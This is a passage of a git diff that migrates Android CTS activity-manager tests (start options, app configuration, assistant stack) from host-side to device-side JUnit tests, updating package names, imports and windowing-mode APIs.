+ @Test
public void testAmStartStartProfilerNoSamplingStreaming() throws Exception {
testProfile(false, false, true);
}
+ @Test
public void testAmStartStartProfilerSamplingNoStreaming() throws Exception {
testProfile(false, true, false);
}
+ @Test
public void testAmStartStartProfilerSamplingStreaming() throws Exception {
testProfile(false, true, true);
}
@@ -134,30 +144,35 @@
}
private void verifyOutputFileFormat(boolean streaming) throws Exception {
+
+ // This is a hack. The am service has to write to /data/local/tmp because it doesn't have
+ // access to the sdcard but the test app can't read there
+ executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + READABLE_FILE_PATH);
+
String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
- byte[] data = readFileOnClient(OUTPUT_FILE_PATH);
+ byte[] data = readFileOnClient(READABLE_FILE_PATH);
assertTrue("data size=" + data.length, data.length >= expectedFirstWord.length());
String actualFirstWord = new String(data, 0, expectedFirstWord.length());
assertTrue("Unexpected first word: '" + actualFirstWord + "'",
actualFirstWord.equals(expectedFirstWord));
// Clean up.
executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
+ executeShellCommand("rm -f " + READABLE_FILE_PATH);
}
private byte[] readFileOnClient(String clientPath) throws Exception {
- assertTrue("File not found on client: " + clientPath,
- mDevice.doesFileExist(clientPath));
- File copyOnHost = File.createTempFile("host", "copy");
- try {
- executeAdbCommand("pull", clientPath, copyOnHost.getPath());
- return Files.toByteArray(copyOnHost);
- } finally {
- FileUtil.deleteFile(copyOnHost);
- }
+ File file = new File(clientPath);
+ assertTrue("File not found on client: " + clientPath, file.isFile());
+ int size = (int) file.length();
+ byte[] bytes = new byte[size];
+ BufferedInputStream buf = new BufferedInputStream(new FileInputStream(file));
+ buf.read(bytes, 0, bytes.length);
+ buf.close();
+ return bytes;
}
- private String[] executeAdbCommand(String... command) throws DeviceNotAvailableException {
- String output = mDevice.executeAdbCommand(command);
+ private String[] executeAdbCommand(String command) {
+ String output = executeShellCommand(command);
// "".split() returns { "" }, but we want an empty array
String[] lines = output.equals("") ? new String[0] : output.split("\n");
return lines;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
similarity index 90%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
index f6df4a8..054e948 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAmStartOptionsTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmStartOptionsTests.java
@@ -14,16 +14,19 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
-import com.android.tradefed.device.DeviceNotAvailableException;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
-import java.util.regex.Pattern;
+import org.junit.Test;
+
import java.util.regex.Matcher;
+import java.util.regex.Pattern;
/**
* Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAmStartOptionsTests
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAmStartOptionsTests
*/
public class ActivityManagerAmStartOptionsTests extends ActivityManagerTestBase {
@@ -31,6 +34,7 @@
private static final String ENTRYPOINT_ACTIVITY_NAME = "EntryPointAliasActivity";
private static final String SINGLE_TASK_ACTIVITY_NAME = "SingleTaskActivity";
+ @Test
public void testDashD() throws Exception {
final String activityComponentName =
ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
@@ -41,9 +45,9 @@
// -D could fail in this case if the force stop of process is broken.
int prevProcId = -1;
for (int i = 0; i < 2; i++) {
- executeShellCommand(getAmStartCmd(TEST_ACTIVITY_NAME) + " -D");
+ executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME) + " -D");
- mAmWmState.waitForDebuggerWindowVisible(mDevice, waitForActivityRecords);
+ mAmWmState.waitForDebuggerWindowVisible(waitForActivityRecords);
int procId = mAmWmState.getAmState().getActivityProcId(activityComponentName);
assertTrue("Invalid ProcId.", procId >= 0);
@@ -54,10 +58,12 @@
}
}
+ @Test
public void testDashW_Direct() throws Exception {
testDashW(SINGLE_TASK_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
}
+ @Test
public void testDashW_Indirect() throws Exception {
testDashW(ENTRYPOINT_ACTIVITY_NAME, SINGLE_TASK_ACTIVITY_NAME);
}
@@ -84,7 +90,7 @@
// different in subsequent warm/hot launches, so that the entrypoint alias
// activity is always started, but the actual activity is not started again
// because of the NEW_TASK and singleTask flags.
- final String result = executeShellCommand(getAmStartCmd(entryActivity) + " -W"
+ final String result = executeShellCommand("am start -n " + getActivityComponentName(entryActivity) + " -W"
+ (shouldStart ? " -d about:blank" : ""));
// Verify shell command return value
@@ -150,8 +156,7 @@
private static final Pattern sDisplayTimePattern =
Pattern.compile("(.+): Displayed (.*): (\\+{0,1})([0-9]+)ms(.*)");
- void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator)
- throws DeviceNotAvailableException {
+ void verifyLogcat(String actualActivityName, boolean shouldStart, String logSeparator) {
int displayCount = 0;
String activityName = null;
@@ -163,7 +168,7 @@
activityName = matcher.group(2);
// Ignore activitiy displays from other packages, we don't
// want some random activity starts to ruin our test.
- if (!activityName.startsWith("android.server.cts")) {
+ if (!activityName.startsWith("android.server.am")) {
continue;
}
if (!shouldStart) {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
similarity index 78%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
index ea37999..8dc396c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAppConfigurationTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -13,26 +13,33 @@
* License for the specific language governing permissions and limitations under
* the License.
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
import android.platform.test.annotations.Presubmit;
-import android.server.cts.ActivityManagerState.ActivityStack;
-import android.server.cts.ActivityManagerState.ActivityTask;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.tradefed.log.LogUtil.CLog;
+import org.junit.Test;
-import java.awt.Rectangle;
import java.util.ArrayList;
import java.util.List;
-import static android.server.cts.ActivityAndWindowManagersState.dpToPx;
-
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test CtsServicesHostTestCases android.server.cts.ActivityManagerAppConfigurationTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAppConfigurationTests
*/
public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
@@ -42,7 +49,10 @@
private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
- private static final String TRANSLUCENT_ACTIVITY = "TranslucentLandscapeActivity";
+ private static final String TRANSLUCENT_ACTIVITY =
+ "android.server.translucentapp.TranslucentLandscapeActivity";
+ private static final String TRANSLUCENT_SDK_26_PACKAGE = "android.server.translucentapp26";
+
private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
@@ -59,19 +69,20 @@
* and heights. The values reported in fullscreen should be larger than those reported in
* docked state.
*/
+ @Test
public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
logSeparator = clearLogcat();
- moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
+ setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
@@ -83,19 +94,20 @@
* from docked state to fullscreen (reverse).
*/
// TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, DOCKED_STACK_ID);
+ launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
logSeparator = clearLogcat();
- moveActivityToStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
@@ -105,14 +117,16 @@
/**
* Tests whether the Display sizes change when rotating the device.
*/
+ @Test
public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
if (!supportsRotation()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no rotation support");
+ log("Skipping test: no rotation support");
return;
}
setDeviceRotation(0);
final String logSeparator = clearLogcat();
- launchActivityInStack(RESIZEABLE_ACTIVITY_NAME, FULLSCREEN_WORKSPACE_STACK_ID);
+ launchActivity(RESIZEABLE_ACTIVITY_NAME,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
logSeparator);
@@ -124,9 +138,10 @@
* is in the docked stack.
*/
// TODO: Flaky, add to presubmit when b/63404575 is fixed.
+ @Test
public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
@@ -149,9 +164,10 @@
* Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
* is launched to side from docked stack.
*/
+ @Test
public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
@@ -177,10 +193,10 @@
setDeviceRotation(rotation);
final int newDeviceRotation = getDeviceRotation(displayId);
if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
- CLog.logAndDisplay(LogLevel.WARN, "Got an invalid device rotation value. "
+ logE("Got an invalid device rotation value. "
+ "Continuing the test despite of that, but it is likely to fail.");
} else if (rotation != newDeviceRotation) {
- CLog.logAndDisplay(LogLevel.INFO, "This device doesn't support locked user "
+ log("This device doesn't support locked user "
+ "rotation mode. Not continuing the rotation checks.");
return;
}
@@ -196,6 +212,7 @@
* Tests when activity moved from fullscreen stack to docked and back. Activity will be
* relaunched twice and it should have same config as initial one.
*/
+ @Test
public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
}
@@ -204,6 +221,7 @@
* Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
*/
@Presubmit
+ @Test
public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
}
@@ -217,35 +235,38 @@
*/
private void moveActivityFullSplitFull(String activityName) throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
// Launch to fullscreen stack and record size.
String logSeparator = clearLogcat();
- launchActivityInStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+ launchActivity(activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
logSeparator);
- final Rectangle displayRect = getDisplayRect(activityName);
+ final Rect displayRect = getDisplayRect(activityName);
// Move to docked stack.
logSeparator = clearLogcat();
- moveActivityToStack(activityName, DOCKED_STACK_ID);
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
assertSizesAreSane(initialFullscreenSizes, dockedSizes);
// Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
// will come up.
- launchActivityInStack(activityName, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
+ final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+ .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
// Resize docked stack to fullscreen size. This will trigger activity relaunch with
// non-empty override configuration corresponding to fullscreen size.
logSeparator = clearLogcat();
- runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
- + displayRect.width + " " + displayRect.height);
+ mAm.resizeStack(stack.mStackId, displayRect);
+
// Move activity back to fullscreen stack.
- moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+ setActivityTaskWindowingMode(activityName,
+ WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
logSeparator);
@@ -257,6 +278,7 @@
* Tests when activity moved from docked stack to fullscreen and back. Activity will be
* relaunched twice and it should have same config as initial one.
*/
+ @Test
public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
}
@@ -264,6 +286,7 @@
/**
* Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
*/
+ @Test
public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
}
@@ -273,30 +296,32 @@
* screen.
*/
@Presubmit
+ @Test
public void testDialogWhenLargeSplitSmall() throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
- launchActivityInStack(DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
+ launchActivity(DIALOG_WHEN_LARGE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
- .getStackById(DOCKED_STACK_ID);
+ .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final WindowManagerState.Display display =
mAmWmState.getWmState().getDisplay(stack.mDisplayId);
final int density = display.getDpi();
final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
- runCommandAndPrintOutput("am stack resize " + DOCKED_STACK_ID + " 0 0 "
- + smallWidthPx + " " + smallHeightPx);
- mAmWmState.waitForValidState(mDevice, DIALOG_WHEN_LARGE_ACTIVITY, DOCKED_STACK_ID);
+ mAm.resizeStack(stack.mStackId, new Rect(0, 0, smallWidthPx, smallHeightPx));
+ mAmWmState.waitForValidState(DIALOG_WHEN_LARGE_ACTIVITY,
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
}
/**
* Test that device handles consequent requested orientations and displays the activities.
*/
@Presubmit
+ @Test
public void testFullscreenAppOrientationRequests() throws Exception {
launchActivity(PORTRAIT_ACTIVITY_NAME);
mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
@@ -323,9 +348,8 @@
1 /* portrait */, initialReportedSizes.orientation);
logSeparator = clearLogcat();
- launchActivityInComponent(TRANSLUCENT_CURRENT_PACKAGE, TRANSLUCENT_ACTIVITY);
-
- assertEquals("non-fullscreen activity requested landscape orientation",
+ launchActivityInComponent(TRANSLUCENT_SDK_26_PACKAGE, TRANSLUCENT_ACTIVITY);
+ assertEquals("Legacy non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
// TODO(b/36897968): uncomment once we can suppress unsupported configurations
@@ -335,13 +359,28 @@
// 1 /* portrait */, updatedReportedSizes.orientation);
}
- public void testNonFullscreenActivityPermitted() throws Exception {
+ public void testNonFullscreenActivityProhibited() throws Exception {
setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
+
+ // We do not wait for the activity as it should not launch based on the restrictions around
+ // specifying orientation. We instead start an activity known to launch immediately after
+ // so that we can ensure processing the first activity occurred.
+ launchActivityNoWait(TRANSLUCENT_ACTIVITY);
+ setDefaultComponentName();
+ launchActivity(PORTRAIT_ACTIVITY_NAME);
+
+ assertFalse("target SDK > 26 non-fullscreen activity should not reach onResume",
+ mAmWmState.getAmState().containsActivity(
+ ActivityManagerTestBase.getActivityComponentName(
+ TRANSLUCENT_ACTIVITY, TRANSLUCENT_ACTIVITY)));
+ }
+ public void testNonFullscreenActivityPermitted() throws Exception {
+ setComponentName(TRANSLUCENT_SDK_26_PACKAGE);
setDeviceRotation(0);
launchActivity(TRANSLUCENT_ACTIVITY);
mAmWmState.assertResumedActivity(
- "target SDK non-fullscreen activity should be allowed to launch",
+ "target SDK <= 26 non-fullscreen activity should be allowed to launch",
TRANSLUCENT_ACTIVITY);
assertEquals("non-fullscreen activity requested landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
@@ -350,6 +389,7 @@
/**
* Test that device handles moving between two tasks with different orientations.
*/
+ @Test
public void testTaskCloseRestoreOrientation() throws Exception {
// Start landscape activity.
launchActivity(LANDSCAPE_ACTIVITY_NAME);
@@ -362,13 +402,14 @@
// Request portrait
executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
- mAmWmState.waitForRotation(mDevice, 1);
+ mAmWmState.waitForRotation(1);
// Finish activity
executeShellCommand(FINISH_ACTIVITY_BROADCAST);
// Verify that activity brought to front is in originally requested orientation.
- mAmWmState.computeState(mDevice, new String[]{LANDSCAPE_ACTIVITY_NAME});
+ mAmWmState.computeState(
+ new WaitForValidActivityState.Builder(LANDSCAPE_ACTIVITY_NAME).build());
assertEquals("Should return to app in landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
}
@@ -376,6 +417,8 @@
/**
* Test that device handles moving between two tasks with different orientations.
*/
+ @Presubmit
+ @Test
public void testTaskMoveToBackOrientation() throws Exception {
// Start landscape activity.
launchActivity(LANDSCAPE_ACTIVITY_NAME);
@@ -388,13 +431,13 @@
// Request portrait
executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
- mAmWmState.waitForRotation(mDevice, 1);
+ mAmWmState.waitForRotation(1);
// Finish activity
executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
// Verify that activity brought to front is in originally requested orientation.
- mAmWmState.waitForValidState(mDevice, LANDSCAPE_ACTIVITY_NAME);
+ mAmWmState.waitForValidState(LANDSCAPE_ACTIVITY_NAME);
assertEquals("Should return to app in landscape orientation",
0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
}
@@ -402,6 +445,7 @@
/**
* Test that device doesn't change device orientation by app request while in multi-window.
*/
+ @Test
public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
}
@@ -409,6 +453,7 @@
/**
* Test that device doesn't change device orientation by app request while in multi-window.
*/
+ @Test
public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
}
@@ -420,7 +465,7 @@
private void requestOrientationInSplitScreen(int orientation, String activity)
throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
@@ -432,13 +477,13 @@
getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
.setTargetActivityName(activity).execute();
- mAmWmState.computeState(mDevice, new String[] {activity});
+ mAmWmState.computeState(new String[] {activity});
mAmWmState.assertVisibility(activity, true /* visible */);
assertEquals("Split-screen apps shouldn't influence device orientation",
orientation, mAmWmState.getWmState().getRotation());
getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
- mAmWmState.computeState(mDevice, new String[] {activity});
+ mAmWmState.computeState(new String[] {activity});
mAmWmState.assertVisibility(activity, true /* visible */);
assertEquals("Split-screen apps shouldn't influence device orientation",
orientation, mAmWmState.getWmState().getRotation());
@@ -450,29 +495,30 @@
*/
private void moveActivitySplitFullSplit(String activityName) throws Exception {
if (!supportsSplitScreenMultiWindow()) {
- CLog.logAndDisplay(LogLevel.INFO, "Skipping test: no multi-window support");
+ log("Skipping test: no multi-window support");
return;
}
// Launch to docked stack and record size.
String logSeparator = clearLogcat();
- launchActivityInStack(activityName, DOCKED_STACK_ID);
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
// Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
// will come up.
- launchActivityInStack(activityName, DOCKED_STACK_ID);
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
+ launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
// Move to fullscreen stack.
logSeparator = clearLogcat();
- moveActivityToStack(activityName, FULLSCREEN_WORKSPACE_STACK_ID);
+ setActivityTaskWindowingMode(
+ activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
assertSizesAreSane(fullscreenSizes, initialDockedSizes);
// Move activity back to docked stack.
logSeparator = clearLogcat();
- moveActivityToStack(activityName, DOCKED_STACK_ID);
+ setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
// After activity configuration was changed twice it must report same size as original one.
@@ -536,18 +582,18 @@
private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
throws Exception {
- mAmWmState.computeState(mDevice, new String[] { activityName },
- false /* compareTaskAndStackBounds */);
+ mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+ new WaitForValidActivityState.Builder(activityName).build());
final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
assertNotNull(details);
return details;
}
- private Rectangle getDisplayRect(String activityName)
+ private Rect getDisplayRect(String activityName)
throws Exception {
final String windowName = getWindowName(activityName);
- mAmWmState.computeState(mDevice, new String[] {activityName});
+ mAmWmState.computeState(new String[] {activityName});
mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
@@ -569,10 +615,11 @@
/**
* Test launching an activity which requests specific UI mode during creation.
*/
+ @Test
public void testLaunchWithUiModeChange() throws Exception {
// Launch activity that changes UI mode and handles this configuration change.
launchActivity(NIGHT_MODE_ACTIVITY);
- mAmWmState.waitForActivityState(mDevice, NIGHT_MODE_ACTIVITY, STATE_RESUMED);
+ mAmWmState.waitForActivityState(NIGHT_MODE_ACTIVITY, STATE_RESUMED);
// Check if activity is launched successfully.
mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
similarity index 65%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
rename to tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
index be2af68..af88f2c 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/src/android/server/cts/ActivityManagerAssistantStackTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -14,14 +14,29 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
-import static android.server.cts.ActivityManagerState.STATE_RESUMED;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
/**
- * Build: mmma -j32 cts/hostsidetests/services
- * Run: cts/hostsidetests/services/activityandwindowmanager/util/run-test android.server.cts.ActivityManagerAssistantStackTests
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAssistantStackTests
*/
+//@Presubmit b/67706642
public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
@@ -40,65 +55,79 @@
private static final String EXTRA_ENTER_PIP = "enter_pip";
private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
private static final String EXTRA_FINISH_SELF = "finish_self";
- public static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+ private static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
- "android.server.cts.TestActivity.finish_self";
+ "android.server.am.TestActivity.finish_self";
+ @Test
+ @Presubmit
public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
// Enable the assistant and launch an assistant activity
enableAssistant();
launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
- mAmWmState.waitForValidState(mDevice, ASSISTANT_ACTIVITY, ASSISTANT_STACK_ID);
+ mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
// Ensure that the activity launched in the fullscreen assistant stack
assertAssistantStackExists();
assertTrue("Expected assistant stack to be fullscreen",
- mAmWmState.getAmState().getStackById(ASSISTANT_STACK_ID).isFullscreen());
+ mAmWmState.getAmState().getStackByActivityType(
+ ACTIVITY_TYPE_ASSISTANT).isFullscreen());
disableAssistant();
}
+ // TODO(b/69573940): Add back to presubmit
+ @Test
public void testAssistantStackZOrder() throws Exception {
if (!supportsPip() || !supportsSplitScreenMultiWindow()) return;
// Launch a pinned stack task
launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
- mAmWmState.waitForValidState(mDevice, PIP_ACTIVITY, PINNED_STACK_ID);
- mAmWmState.assertContainsStack("Must contain pinned stack.", PINNED_STACK_ID);
